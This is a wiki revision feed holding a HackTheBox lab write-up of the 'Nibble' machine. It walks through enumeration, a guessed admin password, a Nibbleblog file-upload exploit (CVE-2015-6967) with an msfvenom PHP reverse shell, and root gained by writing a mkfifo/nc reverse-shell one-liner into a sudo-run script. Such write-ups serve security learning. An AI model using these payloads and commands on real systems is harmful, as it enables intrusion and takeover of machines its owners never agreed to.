<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FNibble</id>
	<title>Write-ups/HTB/Nibble - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FNibble"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Nibble&amp;action=history"/>
	<updated>2026-04-21T14:46:18Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Nibble&amp;diff=1190&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 13:20, 18 February 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Nibble&amp;diff=1190&amp;oldid=prev"/>
		<updated>2022-02-18T13:20:07Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Nibble&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Nibbleblog File Upload&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Linux machine was running a vulnerable blog running the engine Nibbleblog which was vulnerable to arbitrary file upload. To get root shell I used command injection i a script the user was able to run as sudo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with an NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/nibbles]&lt;br /&gt;
└─# cat nmap.ver                                                                                                                                                                         1 ⨯&lt;br /&gt;
# Nmap 7.92 scan initiated Mon Jan 31 14:51:02 2022 as: nmap -p- -sC -sV --min-rate 10000 -oN nmap.ver 10.10.10.75&lt;br /&gt;
Nmap scan report for 10.10.10.75&lt;br /&gt;
Host is up (0.032s latency).&lt;br /&gt;
Not shown: 65533 closed tcp ports (reset)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)&lt;br /&gt;
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)&lt;br /&gt;
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)&lt;br /&gt;
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))&lt;br /&gt;
|_http-title: Site doesn&amp;#039;t have a title (text/html).&lt;br /&gt;
|_http-server-header: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are two ports open, &amp;#039;&amp;#039;&amp;#039;22 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;80. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Visiting port 80 we are presented with a page that only says &amp;quot;Hello wordl!&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the source code we can see that it mentions a directory &amp;#039;&amp;#039;&amp;#039;/nibbleblog&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131210506.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Visiting the subdri we are presented with this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-10.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At the bottom right we can see that it is powered by &amp;#039;&amp;#039;&amp;#039;Nibbleblog. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll do a gobuster scan to see if there is anything interesting to find.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/nibbles]&lt;br /&gt;
└─# gobuster dir -u http://10.10.10.75/nibbleblog -w /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
===============================================================&lt;br /&gt;
Gobuster v3.1.0&lt;br /&gt;
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&lt;br /&gt;
===============================================================&lt;br /&gt;
[+] Url:                     http://10.10.10.75/nibbleblog&lt;br /&gt;
[+] Method:                  GET&lt;br /&gt;
[+] Threads:                 10&lt;br /&gt;
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
[+] Negative Status codes:   404&lt;br /&gt;
[+] User Agent:              gobuster/3.1.0&lt;br /&gt;
[+] Timeout:                 10s&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/31 15:05:31 Starting gobuster in directory enumeration mode&lt;br /&gt;
===============================================================&lt;br /&gt;
/.htaccess            (Status: 403) [Size: 306]&lt;br /&gt;
/.hta                 (Status: 403) [Size: 301]&lt;br /&gt;
/.htpasswd            (Status: 403) [Size: 306]&lt;br /&gt;
/admin                (Status: 301) [Size: 321] [--&amp;gt; http://10.10.10.75/nibbleblog/admin/]&lt;br /&gt;
/admin.php            (Status: 200) [Size: 1401]&lt;br /&gt;
/content              (Status: 301) [Size: 323] [--&amp;gt; http://10.10.10.75/nibbleblog/content/]&lt;br /&gt;
/index.php            (Status: 200) [Size: 2987]&lt;br /&gt;
/languages            (Status: 301) [Size: 325] [--&amp;gt; http://10.10.10.75/nibbleblog/languages/]&lt;br /&gt;
/plugins              (Status: 301) [Size: 323] [--&amp;gt; http://10.10.10.75/nibbleblog/plugins/]&lt;br /&gt;
/README               (Status: 200) [Size: 4628]&lt;br /&gt;
/themes               (Status: 301) [Size: 322] [--&amp;gt; http://10.10.10.75/nibbleblog/themes/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Visiting the README subdir we can find the running version of nibbleblog, which is &amp;#039;&amp;#039;&amp;#039;v4.0.3. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131211240.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as Nibbler ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Username &amp;amp;&amp;amp; password ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking in the directory &amp;#039;&amp;#039;&amp;#039;/content/private &amp;#039;&amp;#039;&amp;#039;I found a &amp;#039;&amp;#039;&amp;#039;user.xml&amp;#039;&amp;#039;&amp;#039; which contained a username &amp;#039;&amp;#039;&amp;#039;admin. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With some lucky guessing I was able to guess that the password is &amp;#039;&amp;#039;&amp;#039;nibbles&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-12.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell method 1 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll show two methods to get a shell. One using a script to get a shell and one doing it manually with uploading a php reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use [https://github.com/dix0nym/CVE-2015-6967/blob/main/exploit.py dix0nym&amp;#039;s]script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/nibbles/CVE-2015-6967]&lt;br /&gt;
└─# msfvenom -p php/reverse_php LHOST=10.10.14.17 LPORT=4444 -f raw &amp;gt; shell.php&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: php from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 3009 bytes&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/nibbles/CVE-2015-6967]&lt;br /&gt;
└─# ls&lt;br /&gt;
exploit.py  README.md  shell.php&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/nibbles/CVE-2015-6967]&lt;br /&gt;
└─# python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php&lt;br /&gt;
[+] Login Successful.&lt;br /&gt;
[+] Upload likely successfull.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we get a connection back to our listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# nc -lvnp 4444                                                                                                                                                                        1 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.75] 53860&lt;br /&gt;
id&lt;br /&gt;
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)&lt;br /&gt;
whoami&lt;br /&gt;
nibbler&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Method 2 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the first method we created a php reverse shell which we will upload to the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131214054.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The shell will be uploaded to &amp;#039;&amp;#039;&amp;#039;/content/private/plugins/my_image/. &amp;#039;&amp;#039;&amp;#039;The name &amp;#039;&amp;#039;&amp;#039;shell.php&amp;#039;&amp;#039;&amp;#039; is named to &amp;#039;&amp;#039;&amp;#039;image.php&amp;#039;&amp;#039;&amp;#039;. But that dosent mean anything as the file will still execute.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131214130.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumeration ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The user nibbler can run the following commands as sudo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
Matching Defaults entries for nibbler on Nibbles:&lt;br /&gt;
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin&lt;br /&gt;
&lt;br /&gt;
User nibbler may run the following commands on Nibbles:&lt;br /&gt;
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In nibbler home dir there is a &amp;#039;&amp;#039;&amp;#039;zip&amp;#039;&amp;#039;&amp;#039; file. Unzipping there is a file called monitor.sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip personal.zip&lt;br /&gt;
Archive:  personal.zip&lt;br /&gt;
   creating: personal/&lt;br /&gt;
   creating: personal/stuff/&lt;br /&gt;
  inflating: personal/stuff/monitor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Opening monitor.sh there is just a script for monitoring &amp;#039;&amp;#039;&amp;#039;Tecmint. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Inject malicious command ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can read and write to the file, so I&amp;#039;ll just inject a reverse shell and execute as sudo to get a root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;#039;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.17 5555 &amp;gt; /tmp/f&amp;#039; &amp;gt; monitor.sh&lt;br /&gt;
cat monitor.sh&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.17 5555 &amp;gt; /tmp/f&lt;br /&gt;
sudo ./monitor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And I get a connection to my listener and I&amp;#039;m root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# nc -lvnp 5555&lt;br /&gt;
listening on [any] 5555 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.75] 38336&lt;br /&gt;
/bin/sh: 0: can&amp;#039;t access tty; job control turned off&lt;br /&gt;
# id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt;
# ls&lt;br /&gt;
monitor.sh&lt;br /&gt;
# cd /root&lt;br /&gt;
# ls&lt;br /&gt;
root.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Enumeration is one of the most important phases of a pentest. Doing a thorough enumeration will help with the initial access phase.* In this case there was a nibbleblog in a &amp;quot;hidden&amp;quot; subdirectory. I found a username in a user.xml file and guessed the password. * The website was running a vulnerable version of nibbleblog and we were able to upload a webshell and get a reverse shell. * Giving the user ability to run a script as root which we had full permissions to edit, we were able to inject a command that gave us reverse shell as root.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>